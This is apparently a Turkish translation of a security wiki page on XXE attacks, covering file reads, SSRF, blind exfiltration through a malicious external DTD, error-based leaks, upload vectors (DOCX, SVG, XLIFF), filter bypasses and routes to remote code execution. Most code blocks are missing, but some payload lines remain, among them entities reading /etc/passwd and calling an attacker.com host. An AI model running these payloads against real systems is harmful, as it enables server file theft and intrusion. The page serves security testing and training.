XXE - XEE - XML External Entity
XML Temelleri
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı adlandırılmış etiketlerin kullanımına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket kümesine sınırlı olmamasıyla farklılık gösterir. JSON'ın yükselişiyle XML'in önemi azalmıştır, ancak başlangıçtaki rolü AJAX teknolojisindeydi.
Varlıklar Aracılığıyla Veri Temsili: XML'deki varlıklar,
<
ve>
gibi özel karakterler de dahil olmak üzere verinin temsil edilmesini sağlar; bu karakterler,<
ve>
ile çakışmayı önlemek için kullanılır.XML Elemanlarının Tanımlanması: XML, eleman türlerinin tanımlanmasına izin verir, elemanların nasıl yapılandırılması gerektiğini ve hangi içeriğe sahip olabileceğini belirler, her türlü içerikten belirli çocuk elemanlara kadar uzanabilir.
Belge Türü Tanımı (DTD): DTD'ler, belgenin yapısını ve içerebileceği veri türlerini tanımlamak için XML'de önemlidir. İç, dış veya bir kombinasyon olabilirler, belgelerin nasıl biçimlendirildiğini ve doğrulandığını yönlendirirler.
Özel ve Harici Varlıklar: XML, esnek veri temsili için DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan harici varlıklar, özellikle XML Harici Varlık (XXE) saldırıları bağlamında güvenlik endişelerine neden olur; bu saldırılar, XML ayrıştırıcıların harici veri kaynaklarını nasıl işlediğini sömürür:
<!DOCTYPE foo [ <!ENTITY myentity "değer" > ]>
Parametre Varlıklarıyla XXE Tespiti: Geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda XXE zafiyetlerini tespit etmek için özellikle XML parametre varlıkları kullanılabilir. Bu varlıklar, DNS sorgularını tetikleme veya kontrol edilen bir alan adına HTTP istekleri gönderme gibi dış-bant tespit tekniklerine izin verir ve zafiyeti doğrular.
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
Ana saldırılar
Yeni Varlık testi
Bu saldırıda, basit bir yeni VARLIK bildiriminin çalışıp çalışmadığını test edeceğim.
Dosya okuma
Farklı yollarla /etc/passwd
dosyasını okumayı deneyelim. Windows için şunu okumayı deneyebilirsiniz: C:\windows\system32\drivers\etc\hosts
Bu ilk durumda, SYSTEM "**file:///**etc/passwd"'nin de çalışacağını fark edin.
Bu ikinci durum, web sunucusunun PHP kullanıyorsa bir dosya çıkarmak için faydalı olmalıdır (Portswiggers lab'ın durumu değil)
Bu üçüncü durumda, Element stockCheck
'i ANY olarak bildirdiğimize dikkat edin.
Dizin listesi
Java tabanlı uygulamalarda, bir dizinin içeriğini listelemek XXE ile mümkün olabilir, örneğin şu şekilde bir yük ile (dosya yerine sadece dizin isteniyor):
SSRF
Bir XXE, bir bulutta içeride bir SSRF'yi kötüye kullanmak için kullanılabilir.
Kör SSRF
Önceden yorumlanmış teknik kullanılarak sunucunun, zayıf noktalarını göstermek için kontrol ettiğiniz bir sunucuya erişmesini sağlayabilirsiniz. Ancak, bu çalışmıyorsa, belki de XML varlıklarına izin verilmiyordur, bu durumda XML parametre varlıklarını deneyebilirsiniz:
"Kör" SSRF - Verileri dışarıya çıkar
Bu durumda, sunucuya kötü niyetli bir yük taşıyan yeni bir DTD yükleteceğiz ve bir dosyanın içeriğini HTTP isteği aracılığıyla göndereceğiz (çok satırlı dosyalar için örneğin _ftp://_ kullanarak bu temel sunucuyu deneyebilirsiniz xxe-ftp-server.rb). Bu açıklama Portswiggers lab burada** temellendirilmiştir.**
Verileri dışarıya çıkarmak için kötü niyetli DTD'de bir dizi adım gerçekleştirilir:
Kötü Niyetli DTD Örneği:
Yapı aşağıdaki gibidir:
Bu DTD tarafından yürütülen adımlar şunlardır:
Parametre Varlıklarının Tanımlanması:
Bir XML parametre varlığı,
%file
,/etc/hostname
dosyasının içeriğini okuyarak oluşturulur.Başka bir XML parametre varlığı,
%eval
, tanımlanır. Dinamik olarak yeni bir XML parametre varlığı,%exfiltrate
, bildirir.%exfiltrate
varlığı, URL'nin sorgu dizesinde%file
varlığının içeriğini ileterek saldırganın sunucusuna HTTP isteği yapacak şekilde ayarlanır.
Varlıkların Yürütülmesi:
%eval
varlığı kullanılarak,%exfiltrate
varlığının dinamik bildiriminin yürütülmesine yol açılır.%exfiltrate
varlığı daha sonra kullanılarak, dosyanın içeriği ile belirtilen URL'ye bir HTTP isteği başlatılır.
Saldırgan, bu kötü amaçlı DTD'yi genellikle http://web-saldirgan.com/kotu.dtd
gibi bir URL'de kendi kontrolündeki bir sunucuda barındırır.
XXE Yükü: Zayıf bir uygulamayı sömürmek için saldırgan bir XXE yükü gönderir:
Bu payload, bir XML parametre varlığı %xxe
tanımlar ve bunu DTD içinde kullanır. Bir XML ayrıştırıcı tarafından işlendiğinde, bu payload saldırganın sunucusundan harici DTD'yi getirir. Daha sonra ayrıştırıcı, DTD'yi içeride yorumlar, kötü amaçlı DTD'de belirtilen adımları yürütür ve /etc/hostname
dosyasının saldırganın sunucusuna sızdırılmasına neden olur.
Hata Tabanlı (Harici DTD)
Bu durumda, sunucunun, bir dosyanın içeriğini bir hata mesajında gösterecek kötü amaçlı bir DTD yüklemesini sağlayacağız (bu yalnızca hata mesajlarını görebiliyorsanız geçerlidir). Buradan örnek.
Kötü amaçlı harici Document Type Definition (DTD) kullanılarak, /etc/passwd
dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hata mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
/etc/passwd
dosyasının içeriğini içerenfile
adında bir XML parametre varlığı tanımlanır.Dinamik bir bildirim içeren
eval
adında başka bir XML parametre varlığı olanerror
için bir XML parametre varlığı tanımlanır. Buerror
varlığı, değerlendirildiğinde,file
varlığının içeriğini adı olarak içeren bir mevcut olmayan dosya yükleme girişiminde bulunur.eval
varlığı çağrılır veerror
varlığının dinamik olarak bildirilmesine yol açar.error
varlığının çağrılması, mevcut olmayan bir dosya yükleme girişiminde bulunur ve/etc/passwd
dosyasının içeriğini dosya adının bir parçası olarak içeren bir hata mesajı üretir.
Kötü amaçlı harici DTD, aşağıdaki XML ile çağrılabilir:
Hata Tabanlı (sistem DTD)
Peki, dış bağlantılar engellendiğinde kör XXE güvenlik açıkları ne olacak?.
XML dil spesifikasyonundaki bir açık, bir belgenin DTD'sinin iç ve dış deklarasyonları karıştırdığında hassas verilerin hata mesajları aracılığıyla ortaya çıkmasına neden olabilir. Bu sorun, dışarıdan tanımlanan varlıkların içeride yeniden tanımlanmasına izin vererek hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, bir XML parametre varlığının, başlangıçta dış bir DTD'de tanımlanan, iç bir DTD içinden yeniden tanımlanmasını sömürür. Sunucu tarafından dış bağlantılar engellendiğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri ortaya çıkarmak için bir ayrıştırma hatası oluşturmayı amaçlarlar.
Sunucunun dosya sisteminde /usr/local/app/schema.dtd
konumunda bir DTD dosyası bulunduğunu varsayalım ve bu dosya custom_entity
adında bir varlık tanımlıyor. Bir saldırgan, aşağıdaki gibi bir karma DTD göndererek /etc/passwd
dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hatası oluşturabilir:
Belirtilen adımlar bu DTD tarafından yürütülür:
Sunucunun dosya sisteminde bulunan harici DTD dosyasını içeren
local_dtd
adında bir XML parametre varlığının tanımı yapılır.Harici DTD'de orijinal olarak tanımlanan
custom_entity
XML parametre varlığı için bir yeniden tanımlama gerçekleşir, hata tabanlı XXE saldırısını kapsayacak şekilde tasarlanmıştır. Bu yeniden tanımlama,/etc/passwd
dosyasının içeriğini ortaya çıkarmak için bir ayrıştırma hatası oluşturmak amacıyla yapılmıştır.local_dtd
varlığını kullanarak, harici DTD etkinleştirilir ve yeni tanımlanancustom_entity
kapsanır. Bu adımlar dizisi, saldırı tarafından hedeflenen hata mesajının yayınlanmasına neden olur.
Gerçek dünya örneği: GNOME masaüstü ortamını kullanan sistemler genellikle /usr/share/yelp/dtd/docbookx.dtd
konumunda bir DTD içerir ve bu DTD'de ISOamso
adında bir varlık bulunur.
Bu teknik bir iç DTD kullandığından önce geçerli bir tane bulmanız gerekir. Bunun için aynı İşletim Sistemi / Yazılımı sunucunun kullandığı ve bazı varsayılan DTD'leri arayarak veya sistemler içindeki varsayılan DTD'lerin bir listesini alarak bunu yapabilirsiniz:
Daha fazla bilgi için https://portswigger.net/web-security/xxe/blind
Sistem içinde DTD'leri Bulma
Aşağıdaki harika github deposunda sistemde bulunabilecek DTD'lerin yollarını bulabilirsiniz:
Ayrıca, kurban sistemin Docker imajına sahipseniz, aynı depodaki aracı kullanarak imajı tarayabilir ve sistem içinde bulunan DTD'lerin yolunu bulabilirsiniz. Nasıl yapılacağını öğrenmek için githubın Readme dosyasını okuyun.
XXE via Office Open XML Parsers
Bu saldırının daha detaylı bir açıklaması için, bu harika yazının ikinci bölümüne Detectify'dan bakabilirsiniz.
Birçok web uygulaması tarafından Microsoft Office belgelerinin yüklenmesi olanağı sunulur, ardından bu belgelerden belirli detaylar çıkarılır. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri aktarmasına izin verebilir. Ayrıştırıcının elektronik tablodan verileri çıkarması için en az bir XML dosyasını ayrıştırması gerekecektir.
Bu zafiyetin test edilmesi için, bir XXE yükü içeren Microsoft Office dosyası oluşturmak gereklidir. İlk adım, belgenin açılacağı boş bir dizin oluşturmaktır.
Belge açıldıktan sonra, ./unzipped/word/document.xml
konumundaki XML dosyası tercih edilen bir metin düzenleyicide (örneğin vim) açılıp düzenlenmelidir. XML istenen XXE yükünü içerecek şekilde değiştirilmelidir, genellikle bir HTTP isteği ile başlar.
Değiştirilmiş XML satırları iki kök XML nesnesi arasına yerleştirilmelidir. İstekler için izlenebilir bir URL ile URL'nin değiştirilmesi önemlidir.
Son olarak, dosya kötü niyetli poc.docx dosyasını oluşturmak için sıkıştırılabilir. Daha önce oluşturulan "unzipped" dizininden, aşağıdaki komut çalıştırılmalıdır:
Şimdi, oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve bir isteğin Burp Collaborator günlüklerinde görünmesi umulabilir.
Jar: protocol
jar protokolü yalnızca Java uygulamaları içinde erişilebilir hale getirilmiştir. Bu, hem yerel hem de uzak dosyalara erişimi sağlamak üzere tasarlanmıştır ve bir PKZIP arşivinde (örneğin .zip
, .jar
, vb.) dosya erişimini sağlar.
PKZIP dosyaları içindeki dosyalara erişebilmek, sistem DTD dosyaları aracılığıyla XXE'yi kötüye kullanmak için son derece yararlıdır. Sistem DTD dosyalarını kötüye nasıl kullanacağınızı öğrenmek için bu bölüme bakın.
PKZIP arşivi içindeki bir dosyaya jar protokolü aracılığıyla erişme süreci birkaç adım içerir:
Belirtilen konumdan (
https://download.website.com/archive.zip
gibi) zip arşivini indirmek için bir HTTP isteği yapılır.Arşivi içeren HTTP yanıtı geçici olarak genellikle
/tmp/...
gibi bir konumda sistemde saklanır.Arşiv, içeriğine erişmek için çıkarılır.
Arşiv içindeki belirli dosya,
file.zip
, okunur.İşlem sonrasında, bu süreçte oluşturulan geçici dosyalar silinir.
Bu süreci ikinci adımda kesintiye uğratmanın ilginç bir tekniği, arşiv dosyasını sunarken sunucu bağlantısını sürekli açık tutmaktır. Bu amaçla bu depoda bulunan araçlar kullanılabilir, bunlar arasında bir Python sunucusu (slow_http_server.py
) ve bir Java sunucusu (slowserver.jar
) bulunmaktadır.
Geçici bir dizine dosya yazmak, yerel dosya dahil etme, şablon enjeksiyonu, XSLT RCE, serileştirme vb. bir zafiyeti artırabilir.
XSS
DoS
Milyar Gülüş Saldırısı
Yaml Saldırısı
Kare Kök Saldırısı
NTML Almak
Windows ana bilgisayarlarında, bir yanıtlayıcı.py işleyici ayarlayarak web sunucusu kullanıcısının NTML özetini almak mümkündür:
ve aşağıdaki isteği göndererek
Gizli XXE Yüzeyleri
XInclude
Müşteri verilerini sunucu taraflı XML belgelerine entegre ederken, özellikle arka uç SOAP isteklerinde olduğu gibi, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır, bu da DOCTYPE
öğesini değiştirme konusundaki kısıtlamalar nedeniyle geleneksel XXE saldırılarını engeller. Bununla birlikte, bir XInclude
saldırısı, XML belgesinin herhangi bir veri öğesine harici varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, sunucu tarafından oluşturulan XML belgesinin verilerinin yalnızca bir kısmı kontrol edilebildiğinde bile etkilidir.
Bir XInclude
saldırısını gerçekleştirmek için, XInclude
ad alanının bildirilmesi ve amaçlanan harici varlığın dosya yolu belirtilmelidir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair özlü bir örnek bulunmaktadır:
Daha fazla bilgi için https://portswigger.net/web-security/xxe adresini kontrol edin!
SVG - Dosya Yükleme
Kullanıcılar tarafından belirli uygulamalara yüklenen dosyalar, daha sonra sunucuda işlenirken XML veya XML içeren dosya biçimlerinin nasıl işlendiğindeki güvenlik açıklarını sömürebilir. Ofis belgeleri (DOCX) ve resimler (SVG) gibi yaygın dosya biçimleri XML'e dayanmaktadır.
Kullanıcılar resim yüklediğinde, bu resimler sunucu tarafından işlenir veya doğrulanır. PNG veya JPEG gibi biçimler bekleyen uygulamalar için bile, sunucunun resim işleme kütüphanesi SVG resimleri de destekleyebilir. XML tabanlı bir biçim olan SVG, saldırganların kötü niyetli SVG resimleri göndererek sunucuyu XXE (XML Dış Varlık) güvenlik açıklarına maruz bırakmasına neden olabilir.
Bu tür bir saldırının bir örneği aşağıda gösterilmektedir, kötü niyetli bir SVG resminin sistem dosyalarını okumaya çalıştığı:
Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla komutları yürütmeye çalışmak içerir:
Her iki durumda da SVG formatı, sunucunun yazılımının XML işleme yeteneklerini sömüren saldırıları başlatmak için kullanılır, sağlam giriş doğrulaması ve güvenlik önlemlerinin gerekliliğini vurgular.
Daha fazla bilgi için https://portswigger.net/web-security/xxe'i kontrol edin!
Not: Dosyanın okuma işlemi veya yürütme sonucunun ilk satırı OLUŞTURULAN resmin İÇ KISMINA görünecektir. Bu nedenle, SVG'nin oluşturduğu resme erişebilmeniz gerekir.
PDF - Dosya yükleme
Bir PDF dosyası yükleyerek bir XXE'yi nasıl sömürüleceğini öğrenmek için aşağıdaki gönderiyi okuyun:
pagePDF Upload - XXE and CORS bypassContent-Type: x-www-urlencoded'dan XML'e
Bir POST isteği verileri XML formatında kabul ediyorsa, o istekte bir XXE'yi sömürmeyi deneyebilirsiniz. Örneğin, normal bir istek aşağıdakileri içeriyorsa:
Ardından aşağıdaki isteği aynı sonuçla gönderebilirsiniz:
Content-Type: JSON'dan XEE'ye
İsteği değiştirmek için "Content Type Converter" adlı bir Burp Eklentisini kullanabilirsiniz. Bu örneği buradan bulabilirsiniz:
Başka bir örnek burada bulunabilir.
WAF & Koruma Atlatmaları
Base64
Bu sadece XML sunucusunun data://
protokolünü kabul ettiği durumlarda çalışır.
UTF-7
UTF-7'yi kullanabilirsiniz. Burada ["Encode Recipe" of cyberchef buradan ](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) UTF-7'ye dönüştürün.
Dosya:/ Protokolü Atlatma
Eğer web PHP kullanıyorsa, file:/
yerine php sarmalları php://filter/convert.base64-encode/resource=
kullanarak dahili dosyalara erişebilirsiniz.
Eğer web Java kullanıyorsa jar: protokolüne bakabilirsiniz.
HTML Varlıkları
https://github.com/Ambrotd/XXE-Notes adresinden bir hile Varlık içinde bir varlık oluşturabilir ve onu html varlıkları ile kodlayarak bir dtd yüklemek için çağırabilirsiniz. Kullanılan HTML Varlıklarının sayısal olması gerektiğini unutmayın (örneğin [bu örnekte](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).
DTD örneği:
PHP Sargılayıcıları
Base64
Çıkar index.php
Dış kaynağı çıkart
Uzaktan kod yürütme
Eğer PHP "expect" modülü yüklenmişse
SOAP - XEE
XLIFF - XXE
Bu örnek https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe adresinden esinlenilmiştir.
XLIFF (XML Lokalizasyon Değişim Dosya Biçimi), lokalizasyon süreçlerinde veri alışverişini standartlaştırmak için kullanılır. Genellikle lokalizasyon sırasında araçlar arasında lokalize edilebilir verilerin aktarımı için kullanılan XML tabanlı bir formattır ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak kullanılır.
Kör İstek Analizi
Sunucuya aşağıdaki içerikle bir istek yapılır:
Ancak, bu istek iç sunucu hatası tetikler ve özellikle işaretleme beyanları ile ilgili bir sorundan bahseder:
Hata olmasına rağmen, Burp İşbirlikçisi'nde bir vuruş kaydedilir ve dış varlıkla bazı düzeyde etkileşim gösterilir.
Veri Dışarı Aktarma Dışarı Aktarma için değiştirilmiş bir istek gönderilir:
Bu yaklaşım, Kullanıcı Ajanının Java 1.8'in kullanıldığını gösterdiğini ortaya koyuyor. Bu Java sürümünün bir kısıtlaması, Yer Dışı teknik kullanılarak /etc/passwd gibi yeni satır karakteri içeren dosyaların alınamamasıdır.
Hata Tabanlı Veri Sızdırma Bu kısıtlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:
Sunucu bir hata ile yanıt verir, önemli olan sunucunun belirtilen dosyaya erişmeye çalıştığını yansıtarak mevcut olmayan dosyayı gösterir:
Hata mesajında dosyanın içeriğini dahil etmek için DTD dosyası ayarlanır:
Bu değişiklik, dosyanın içeriğinin başarılı bir şekilde dışa aktarılmasına yol açar, çünkü HTTP aracılığıyla gönderilen hata çıktısında yansıtılır. Bu, hassas bilgileri çıkarmak için Hem Bağlantı Dışı Hem de Hata Tabanlı teknikleri kullanan başarılı bir XXE (XML Harici Varlık) saldırısını gösterir.
RSS - XEE
XXE zafiyetini sömürmek için RSS formatındaki geçerli XML.
Geri İletme
Saldırganın sunucusuna basit bir HTTP isteği
Dosya okuma
Kaynak kodunu oku
PHP base64 filtresi kullanarak
Java XMLDecoder XEE to RCE
XMLDecoder, bir XML ileti tabanlı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın readObject yöntemine keyfi verileri kullanmasını sağlayabilirse, sunucuda anında kod yürütme yetkisine sahip olacaktır.
Runtime().exec() Kullanımı
ProcessBuilder
ProcessBuilder
Araçlar
Referanslar
Kendi harici DTD'sini kullanarak HTTP üzerinden bilgi çıkarma: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/\
Last updated